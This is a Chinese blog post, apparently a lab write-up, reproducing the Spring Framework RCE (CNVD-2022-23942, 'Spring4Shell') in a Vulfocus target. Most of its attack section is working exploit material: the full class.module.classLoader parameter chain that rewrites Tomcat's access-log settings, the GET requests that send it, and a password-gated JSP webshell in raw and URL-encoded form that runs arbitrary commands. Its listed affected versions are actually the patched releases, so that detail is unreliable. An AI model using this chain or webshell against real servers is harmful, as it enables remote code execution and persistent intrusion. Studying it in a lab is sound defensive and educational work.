【Vulfocus漏洞复现】spring-core-rce-2022-03-29

2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。

通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

漏洞利用条件

1、Apache Tomcat作为Servlet容器;
2、使用JDK9及以上版本的Spring MVC框架;
3、Spring框架以及衍生的框架spring-beans-*.jar文件或者存在CachedIntrospectionResults.class

漏洞影响范围

1、JDK9+
2、Spring Framework

  • 5.3.18+
  • 5.2.20+

漏洞复现

本机:windows11
靶场:vulfocus

开启靶场环境并访问
在这里插入图片描述
在这里插入图片描述
利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
完整利用链:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
 
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
 
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
 
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)

构造payload

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送payload:
GET方式发送(需要分五次请求,以下为其中一次),出现ok说明执行成功

http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://123.58.236.76:27379/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里插入图片描述

访问http://123.58.236.76:27379/shell.jsp,出现spring说明写入成功
在这里插入图片描述
不难理解,接下来需要做的就是将内容更改为webshell,并让它解析就可以了
写入webshell到网站根目录

url编码前的webshell:
%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码后的webshell:
%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

在这里插入图片描述

访问http://123.58.236.76:27379/shell.jsp?pwd=t&cmd=ls /tmp,出现flag
在这里插入图片描述

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值